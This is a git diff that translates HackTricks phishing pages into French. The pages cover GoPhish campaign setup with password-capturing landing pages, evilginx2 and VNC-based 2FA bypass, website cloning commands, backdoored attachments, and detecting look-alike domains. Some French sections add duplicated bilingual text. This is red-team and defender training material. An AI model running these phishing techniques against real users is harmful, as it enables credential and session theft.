removed at: ​[https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) +### Retrait de la liste noire de Microsoft -### Removing from Microsoft Blacklist +Vous pouvez demander le retrait de votre domaine/IP à l'adresse suivante : [https://sender.office.com/](https://sender.office.com). -​​You can request your domain/IP to be removed at [https://sender.office.com/](https://sender.office.com). +## Créer et lancer une campagne GoPhish -## Create & Launch GoPhish Campaign +### Profil d'envoi -### Sending Profile +* Définissez un **nom pour identifier** le profil de l'expéditeur +* Décidez à partir de quel compte vous allez envoyer les e-mails de phishing. Suggestions : _noreply, support, servicedesk, salesforce..._ +* Vous pouvez laisser les champs nom d'utilisateur et mot de passe vides, mais assurez-vous de cocher la case Ignorer les erreurs de certificat -* Set some **name to identify** the sender profile -* Decide from which account are you going to send the phishing emails. Suggestions: _noreply, support, servicedesk, salesforce..._ -* You can leave blank the username and password, but make sure to check the Ignore Certificate Errors - -![](<../../.gitbook/assets/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (11).png>) +![](<../../.gitbook/assets/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (11).png>) {% hint style="info" %} -It's recommended to use the "**Send Test Email**" functionality to test that everything is working.\ -I would recommend to **send the test emails to 10min mails addresses** in order to avoid getting blacklisted making tests. +Il est recommandé d'utiliser la fonctionnalité "**Envoyer un e-mail de test**" pour tester que tout fonctionne.\ +Je recommande d'**envoyer les e-mails de test à des adresses 10min mails** afin d'éviter d'être mis sur liste noire lors des tests. {% endhint %} -### Email Template - -* Set some **name to identify** the template -* Then write a **subject** (nothing estrange, just something you could expect to read in a regular email) -* Make sure you have checked "**Add Tracking Image**" -* Write the **email template** (you can use variables like in the following example): +### Modèle d'e-mail +* Définissez un **nom pour identifier** le modèle +* Ensuite, écrivez un **objet** (rien d'étrange, juste quelque chose que vous pourriez vous attendre à lire dans un e-mail régulier) +* Assurez-vous d'avoir coché "**Ajouter une image de suivi**" +* Écrivez le **modèle d'e-mail** (vous pouvez utiliser des variables comme dans l'exemple suivant) : ```markup @@ -371,70 +338,69 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY ``` +Notez que **afin d'augmenter la crédibilité de l'e-mail**, il est recommandé d'utiliser une signature provenant d'un e-mail du client. Suggestions : -Note that **in order to increase the credibility of the email**, it's recommended to use some signature from an email from the client. Suggestions: - -* Send an email to a **non existent address** and check if the response has any signature. -* Search for **public emails** like info@ex.com or press@ex.com or public@ex.com and send them an email and wait for the response. -* Try to contact **some valid discovered** email and wait for the response +* Envoyez un e-mail à une **adresse inexistante** et vérifiez si la réponse contient une signature. +* Recherchez des e-mails **publics** tels que info@ex.com ou press@ex.com ou public@ex.com et envoyez-leur un e-mail et attendez la réponse. +* Essayez de contacter **un e-mail valide découvert** et attendez la réponse. ![](<../../.gitbook/assets/image (393).png>) {% hint style="info" %} -The Email Template also allows to **attach files to send**. If you would also like to steal NTLM challenges using some specially crafted files/documents [read this page](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md). +Le modèle d'e-mail permet également de **joindre des fichiers à envoyer**. Si vous souhaitez également voler des défis NTLM en utilisant des fichiers/documents spécialement conçus [lisez cette page](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md). {% endhint %} -### Landing Page +### Page d'atterrissage -* Write a **name** -* **Write the HTML code** of the web page. Note that you can **import** web pages. -* Mark **Capture Submitted Data** and **Capture Passwords** -* Set a **redirection** +* Écrivez un **nom** +* **Écrivez le code HTML** de la page web. Notez que vous pouvez **importer** des pages web. +* Cochez **Capture Submitted Data** et **Capture Passwords** +* Définissez une **redirection** ![](<../../.gitbook/assets/image (394).png>) {% hint style="info" %} -Usually you will need to modify the HTML code of the page and make some tests in local (maybe using some Apache server) **until you like the results.** Then, write that HTML code in the box.\ -Note that if you need to **use some static resources** for the HTML (maybe some CSS and JS pages) you can save them in _**/opt/gophish/static/endpoint**_ and then access them from _**/static/\**_ +Vous devrez généralement modifier le code HTML de la page et effectuer des tests en local (peut-être en utilisant un serveur Apache) **jusqu'à ce que vous soyez satisfait des résultats**. Ensuite, écrivez ce code HTML dans la boîte.\ +Notez que si vous avez besoin d'**utiliser des ressources statiques** pour le HTML (peut-être des pages CSS et JS), vous pouvez les enregistrer dans _**/opt/gophish/static/endpoint**_ et y accéder depuis _**/static/\**_ {% endhint %} {% hint style="info" %} -For the redirection you could **redirect the users to the legit main web page** of the victim, or redirect them to _/static/migration.html_ for example, put some **spinning wheel (**[**https://loading.io/**](https://loading.io)**) for 5 seconds and then indicate that the process was successful**. +Pour la redirection, vous pouvez **rediriger les utilisateurs vers la page web principale légitime** de la victime, ou les rediriger vers _/static/migration.html_ par exemple, mettre une **roue tournante (**[**https://loading.io/**](https://loading.io)**) pendant 5 secondes, puis indiquer que le processus a réussi**. {% endhint %} -### Users & Groups +### Utilisateurs et groupes -* Set a name -* **Import the data** (note that in order to use the template for the example you need the firstname, last name and email address of each user) +* Définissez un nom +* **Importez les données** (notez que pour utiliser le modèle pour l'exemple, vous avez besoin du prénom, du nom de famille et de l'adresse e-mail de chaque utilisateur) ![](<../../.gitbook/assets/image (395).png>) -### Campaign +### Campagne -Finally, create a campaign selecting a name, the email template, the landing page, the URL, the sending profile and the group. Note that the URL will be the link sent to the victims +Enfin, créez une campagne en sélectionnant un nom, le modèle d'e-mail, la page d'atterrissage, l'URL, le profil d'envoi et le groupe. Notez que l'URL sera le lien envoyé aux victimes. -Note that the **Sending Profile allow to send a test email to see how will the final phishing email looks like**: +Notez que le **profil d'envoi permet d'envoyer un e-mail de test pour voir à quoi ressemblera l'e-mail de phishing final** : ![](<../../.gitbook/assets/image (396).png>) {% hint style="info" %} -I would recommend to **send the test emails to 10min mails addresses** in order to avoid getting blacklisted making tests. +Je recommanderais d'**envoyer les e-mails de test à des adresses de 10 minutes** afin d'éviter d'être mis sur liste noire lors des tests. {% endhint %} -Once everything is ready, just launch the campaign! +Une fois que tout est prêt, lancez simplement la campagne ! -## Website Cloning +## Clonage de site web -If for any reason you want to clone the website check the following page: +Si pour une raison quelconque vous voulez cloner le site web, consultez la page suivante : {% content-ref url="clone-a-website.md" %} [clone-a-website.md](clone-a-website.md) {% endcontent-ref %} -## Backdoored Documents & Files +## Documents et fichiers piégés -In some phishing assessments (mainly for Red Teams) you will want to also **send files containing some kind of backdoor** (maybe a C2 or maybe just something that will trigger an authentication).\ -Check out the following page for some examples: +Dans certaines évaluations de phishing (principalement pour les équipes rouges), vous voudrez également **envoyer des fichiers contenant une sorte de porte dérobée** (peut-être un C2 ou peut-être juste quelque chose qui déclenchera une authentification).\ +Consultez la page suivante pour quelques exemples : {% content-ref url="phishing-documents.md" %} [phishing-documents.md](phishing-documents.md) @@ -444,51 +410,39 @@ Check out the following page for some examples: ### Via Proxy MitM -The previous attack is pretty clever as you are faking a real website and gathering the information set by the user. Unfortunately, if the user didn't put the correct password or if the application you faked is configured with 2FA, **this information won't allow you to impersonate the tricked user**. +L'attaque précédente est assez astucieuse car vous simulez un vrai site web et recueillez les informations définies par l'utilisateur. Malheureusement, si l'utilisateur n'a pas mis le bon mot de passe ou si l'application que vous avez simulée est configurée avec 2FA, **ces informations ne vous permettront pas d'usurper l'utilisateur trompé**. -This is where tools like [**evilginx2**](https://github.com/kgretzky/evilginx2) or [**CredSniper**](https://github.com/ustayready/CredSniper) are useful. This tool will allow you to generate a MitM like attack. Basically, the attacks works in the following way: +C'est là que des outils comme [**evilginx2**](https://github.com/kgretzky/evilginx2) ou [**CredSniper**](https://github.com/ustayready/CredSniper) sont utiles. Cet outil vous permettra de générer une attaque de type MitM. Fondamentalement, les attaques fonctionnent de la manière suivante : -1. You **impersonate the login** form of the real webpage. -2. The user **send** his **credentials** to your fake page and the tool send those to the real webpage, **checking if the credentials work**. -3. If the account is configured with **2FA**, the MitM page will ask for it and once the **user introduces** it the tool will send it to the real web page. -4. Once the user is authenticated you (as attacker) will have **captured the credentials, the 2FA, the cookie and any information** of every interaction your while the tool is performing a MitM. +1. Vous **usurpez le formulaire de connexion** de la vraie page web. +2. L'utilisateur **envoie** ses **informations d'identification** à votre page de faux et l'outil les envoie à la vraie page web, **vérifiant si les informations d'identification fonctionnent**. +3. Si le compte est configuré avec **2FA**, la page MitM demandera celui-ci et une fois que l'utilisateur l'aura introduit, l'outil l'enverra à la vraie page web. +4. Une fois que l'utilisateur est authentifié, vous (en tant qu'attaquant) aurez **capturé les informations d'identification, le 2FA, le cookie et toute information** de chaque interaction pendant que l'outil effectue une attaque MitM. ### Via VNC -What if instead of **sending the victim to a malicious page** with the same looks as the original one, you send him to a **VNC session with a browser connected to the real web page**? You will be able to see what he does, steal the password, the MFA used, the cookies...\ -You can do this with [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) +Et si au lieu d'**envoyer la victime sur une page malveillante** avec le même aspect que l'originale, vous l'envoyez vers une **session VNC avec un navigateur connecté à la vraie page web** ? Vous pourrez voir ce qu'il fait, voler le mot de passe, le MFA utilisé, les cookies...\ +Vous pouvez le faire avec [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) -## Detecting the detection +## Détection de la détection -Obviously one of the best ways to know if you have been busted is to **search your domain inside blacklists**. If it appears listed, somehow your domain was detected as suspicions.\ -One easy way to check if you domain appears in any blacklist is to use [https://malwareworld.com/](https://malwareworld.com) +Évidemment, l'une des meilleures façons de savoir si vous avez été repéré est de **rechercher votre domaine dans des listes noires**. S'il apparaît dans la liste, votre domaine a été détecté comme suspect.\ +Un moyen facile de vérifier si votre domaine apparaît dans une liste noire consiste à utiliser [https://malwareworld.com/](https://malwareworld.com) -However, there are other ways to know if the victim is **actively looking for suspicions phishing activity in the wild** as explained in: +Cependant, il existe d'autres moyens de savoir si la victime **cherche activement une activité de phishing suspecte dans la nature** comme expliqué dans : {% content-ref url="detecting-phising.md" %} [detecting-phising.md](detecting-phising.md) {% endcontent-ref %} -You can **buy a domain with a very similar name** to the victims domain **and/or generate a certificate** for a **subdomain** of a domain controlled by you **containing** the **keyword** of the victim's domain. If the **victim** perform any kind of **DNS or HTTP interaction** with them, you will know that **he is actively looking** for suspicious domains and you will need to be very stealth. +Vous pouvez **acheter un domaine avec un nom très similaire** à celui de la victime et/ou générer un certificat pour un **sous-domaine** d'un domaine contrôlé par vous **contenant** le **mot-clé** du domaine de la victime. Si la **victime** effectue une quelconque **interaction DNS ou HTTP** avec eux, vous saurez qu'elle **cherche activement** des domaines suspects et vous devrez être très discret. -### Evaluate the phishing +### Évaluer le phishing -Use [**Phishious** ](https://github.com/Rices/Phishious)to evaluate if your email is going to end in the spam folder or if it's going to be blocked or successful. +Utilisez [**Phishious** ](https://github.com/Rices/Phishious) pour évaluer si votre e-mail va finir dans le dossier spam ou s'il sera bloqué ou réussi. -## References +## Références * [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/) * [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/) -* [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/) - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
+* [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando diff --git a/generic-methodologies-and-resources/phishing-methodology/clone-a-website.md b/generic-methodologies-and-resources/phishing-methodology/clone-a-website.md index 67d6d8a06..f598f49d4 100644 --- a/generic-methodologies-and-resources/phishing-methodology/clone-a-website.md +++ b/generic-methodologies-and-resources/phishing-methodology/clone-a-website.md @@ -1,63 +1,77 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-For a phishing assessment sometimes it might be useful to completely **clone a website**. +Pour une évaluation de phishing, il peut parfois être utile de **cloner complètement un site web**. -Note that you can add also some payloads to the cloned website like a BeEF hook to "control" the tab of the user. +Notez que vous pouvez également ajouter des charges utiles au site web cloné, comme un crochet BeEF pour "contrôler" l'onglet de l'utilisateur. -There are different tools you can use for this purpose: +Il existe différents outils que vous pouvez utiliser à cette fin : ## wget - ```text wget -mk -nH ``` - ## goclone +Le clonage de site Web est une technique couramment utilisée dans les attaques de phishing pour tromper les utilisateurs en leur faisant croire qu'ils visitent un site Web légitime alors qu'en réalité, ils sont sur une copie malveillante. Goclone est un outil open source qui permet de cloner facilement un site Web en utilisant la ligne de commande. + +Pour utiliser goclone, il suffit de spécifier l'URL du site Web que vous souhaitez cloner et l'emplacement où vous souhaitez enregistrer la copie. Goclone copiera ensuite tous les fichiers et dossiers du site Web, y compris les fichiers HTML, CSS, JavaScript et les images. + +Une fois que vous avez cloné le site Web, vous pouvez le modifier pour y inclure des scripts malveillants ou des formulaires de phishing. Vous pouvez ensuite héberger la copie malveillante sur un serveur Web et envoyer des e-mails de phishing aux utilisateurs pour les inciter à visiter le site Web. + +Il est important de noter que le clonage de sites Web sans autorisation est illégal et peut entraîner des poursuites judiciaires. Il est donc important d'utiliser cette technique uniquement à des fins éthiques et légales, telles que les tests de sécurité et les audits de vulnérabilité. ```bash #https://github.com/imthaghost/goclone goclone ``` +## Boîte à outils d'ingénierie sociale -## Social Engineering Toolit +--- +### Clone a Website + +### Cloner un site web + +One of the most common techniques used in phishing attacks is to clone a legitimate website and modify it to steal user credentials. This technique is effective because it can be difficult for users to distinguish between a legitimate website and a cloned website. + +L'une des techniques les plus courantes utilisées dans les attaques de phishing consiste à cloner un site web légitime et à le modifier pour voler les identifiants de l'utilisateur. Cette technique est efficace car il peut être difficile pour les utilisateurs de distinguer un site web légitime d'un site web cloné. + +To clone a website, you can use a tool like HTTrack or Wget to download the website's HTML, CSS, and JavaScript files. Once you have downloaded the files, you can modify them to include your phishing code. + +Pour cloner un site web, vous pouvez utiliser un outil comme HTTrack ou Wget pour télécharger les fichiers HTML, CSS et JavaScript du site web. Une fois que vous avez téléchargé les fichiers, vous pouvez les modifier pour inclure votre code de phishing. + +Another option is to use a phishing toolkit like SocialFish or HiddenEye, which automate the process of cloning a website and hosting it on a phishing server. + +Une autre option consiste à utiliser une boîte à outils de phishing comme SocialFish ou HiddenEye, qui automatisent le processus de clonage d'un site web et son hébergement sur un serveur de phishing. ```bash #https://github.com/trustedsec/social-engineer-toolkit ``` - - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
- - diff --git a/generic-methodologies-and-resources/phishing-methodology/detecting-phising.md b/generic-methodologies-and-resources/phishing-methodology/detecting-phising.md index 3815a5b73..c5e489cbf 100644 --- a/generic-methodologies-and-resources/phishing-methodology/detecting-phising.md +++ b/generic-methodologies-and-resources/phishing-methodology/detecting-phising.md @@ -1,102 +1,60 @@ -# Detecting Phising +# Détection de phishing
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
## Introduction -To detect a phishing attempt it's important to **understand the phishing techniques that are being used nowadays**. On the parent page of this post, you can find this information, so if you aren't aware of which techniques are being used today I recommend you to go to the parent page and read at least that section. +Pour détecter une tentative de phishing, il est important de **comprendre les techniques de phishing qui sont utilisées de nos jours**. Sur la page parente de ce post, vous pouvez trouver cette information, donc si vous n'êtes pas au courant des techniques qui sont utilisées aujourd'hui, je vous recommande d'aller sur la page parente et de lire au moins cette section. -This post is based on the idea that the **attackers will try to somehow mimic or use the victim's domain name**. If your domain is called `example.com` and you are phished using a completely different domain name for some reason like `youwonthelottery.com`, these techniques aren't going to uncover it. +Ce post est basé sur l'idée que les **attaquants essaieront de quelque manière que ce soit de mimer ou d'utiliser le nom de domaine de la victime**. Si votre domaine s'appelle `example.com` et que vous êtes victime d'un phishing en utilisant un nom de domaine complètement différent pour une raison quelconque comme `youwonthelottery.com`, ces techniques ne le découvriront pas. -## Domain name variations +## Variations de noms de domaine -It's kind of **easy** to **uncover** those **phishing** attempts that will use a **similar domain** name inside the email.\ -It's enough to **generate a list of the most probable phishing names** that an attacker may use and **check** if it's **registered** or just check if there is any **IP** using it. +Il est assez **facile** de **découvrir** ces tentatives de **phishing** qui utiliseront un **nom de domaine similaire** à l'intérieur de l'e-mail.\ +Il suffit de **générer une liste des noms de phishing les plus probables** qu'un attaquant peut utiliser et de **vérifier** s'il est **enregistré** ou simplement de vérifier s'il y a une **IP** qui l'utilise. -### Finding suspicious domains +### Trouver des domaines suspects -For this purpose, you can use any of the following tools. Note that these tolls will also perform DNS requests automatically to check if the domain has any IP assigned to it: +À cette fin, vous pouvez utiliser l'un des outils suivants. Notez que ces outils effectueront également des requêtes DNS automatiquement pour vérifier si le domaine a une adresse IP qui lui est assignée : * [**dnstwist**](https://github.com/elceef/dnstwist) * [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy) ### Bitflipping -In the world of computing, everything is stored in bits (zeros and ones) in memory behind the scenes.\ -This applies to domains too. For example, _windows.com_ becomes _01110111..._ in the volatile memory of your computing device.\ -However, what if one of these bits got automatically flipped due to a solar flare, cosmic rays, or a hardware error? That is one of the 0's becomes a 1 and vice versa.\ -Applying this concept to DNS requests, it's possible that the **domain requested** that arrives at the DNS server **isn't the same as the domain initially requested.** +Dans le monde de l'informatique, tout est stocké en bits (zéros et uns) en mémoire en arrière-plan.\ +Cela s'applique également aux domaines. Par exemple, _windows.com_ devient _01110111..._ dans la mémoire volatile de votre appareil informatique.\ +Cependant, que se passe-t-il si l'un de ces bits est automatiquement inversé en raison d'une éruption solaire, de rayons cosmiques ou d'une erreur matérielle ? C'est-à-dire qu'un des 0 devient un 1 et vice versa.\ +En appliquant ce concept aux requêtes DNS, il est possible que le **domaine demandé** qui arrive au serveur DNS **ne soit pas le même que le domaine initialement demandé**. -For example, a 1 bit modification in the domain microsoft.com can transform it into _windnws.com._\ -**Attackers may register as many bit-flipping domains as possible related to the victim to redirect legitimate users to their infrastructure**. +Par exemple, une modification de 1 bit dans le domaine microsoft.com peut le transformer en _windnws.com._\ +**Les attaquants peuvent enregistrer autant de domaines de basculement de bits que possible liés à la victime pour rediriger les utilisateurs légitimes vers leur infrastructure**. -For more information read [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/) +Pour plus d'informations, consultez [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/) -**All possible bit-flipping domain names should be also monitored.** +**Tous les noms de domaine de basculement de bits possibles doivent également être surveillés.** -### Basic checks +### Vérifications de base -Once you have a list of potential suspicious domain names you should **check** them (mainly the ports HTTP and HTTPS) to **see if they are using some login form similar** to someone of the victim's domain.\ -You could also check port 3333 to see if it's open and running an instance of `gophish`.\ -It's also interesting to know **how old each discovered suspicions domain is**, the younger it's the riskier it is.\ -You can also get **screenshots** of the HTTP and/or HTTPS suspicious web page to see if it's suspicious and in that case **access it to take a deeper look**. +Une fois que vous avez une liste de noms de domaine suspects potentiels, vous devriez les **vérifier** (principalement les ports HTTP et HTTPS) pour **voir s'ils utilisent un formulaire de connexion similaire** à celui de la victime.\ +Vous pouvez également vérifier le port 3333 pour voir s'il est ouvert et s'il exécute une instance de `gophish`.\ +Il est également intéressant de savoir **depuis combien de temps chaque domaine suspect découvert existe**, plus il est jeune, plus il est risqué.\ +Vous pouvez également obtenir des **captures d'écran** de la page web HTTP et/ou HTTPS suspecte pour voir si elle est suspecte et dans ce cas, **y accéder pour approfondir**. -### Advanced checks +### Vérifications avancées -If you want to go one step further I would recommend you to **monitor those suspicious domains and search for more** once in a while (every day? it only takes a few seconds/minutes). You should also **check** the open **ports** of the related IPs and **search for instances of `gophish` or similar tools** (yes, attackers also make mistakes) and **monitor the HTTP and HTTPS web pages of the suspicious domains and subdomains** to see if they have copied any login form from the victim's web pages.\ -In order to **automate this** I would recommend having a list of login forms of the victim's domains, spider the suspicious web pages and comparing each login form found inside the suspicious domains with each login form of the victim's domain using something like `ssdeep`.\ -If you have located the login forms of the suspicious domains, you can try to **send junk credentials** and **check if it's redirecting you to the victim's domain**. - -## Domain names using keywords - -The parent page also mentions a domain name variation technique that consists of putting the **victim's domain name inside a bigger domain** (e.g. paypal-financial.com for paypal.com). - -### Certificate Transparency - -It's not possible to take the previous "Brute-Force" approach but it's actually **possible to uncover such phishing attempts** also thanks to certificate transparency. Every time a certificate is emitted by a CA, the details are made public. This means that by reading the certificate transparency or even monitoring it, it's **possible to find domains that are using a keyword inside its name** For example, if an attacker generates a certificate of [https://paypal-financial.com](https://paypal-financial.com), seeing the certificate it's possible to find the keyword "paypal" and know that suspicious email is being used. - -The post [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/) suggests that you can use Censys to search for certificates affecting a specific keyword and filter by date (only "new" certificates) and by the CA issuer "Let's Encrypt": - -![](<../../.gitbook/assets/image (390).png>) - -However, you can do "the same" using the free web [**crt.sh**](https://crt.sh). You can **search for the keyword** and the **filter** the results **by date and CA** if you wish. - -![](<../../.gitbook/assets/image (391).png>) - -Using this last option you can even use the field Matching Identities to see if any identity from the real domain matches any of the suspicious domains (note that a suspicious domain can be a false positive). - -**Another alternative** is the fantastic project called [**CertStream**](https://medium.com/cali-dog-security/introducing-certstream-3fc13bb98067). CertStream provides a real-time stream of newly generated certificates which you can use to detect specified keywords in (near) real-time. In fact, there is a project called [**phishing\_catcher**](https://github.com/x0rz/phishing\_catcher) that does just that. - -### **New domains** - -**One last alternative** is to gather a list of **newly registered domains** for some TLDs ([Whoxy](https://www.whoxy.com/newly-registered-domains/) provides such service) and **check the keywords in these domains**. However, long domains usually use one or more subdomains, therefore the keyword won't appear inside the FLD and you won't be able to find the phishing subdomain. - -
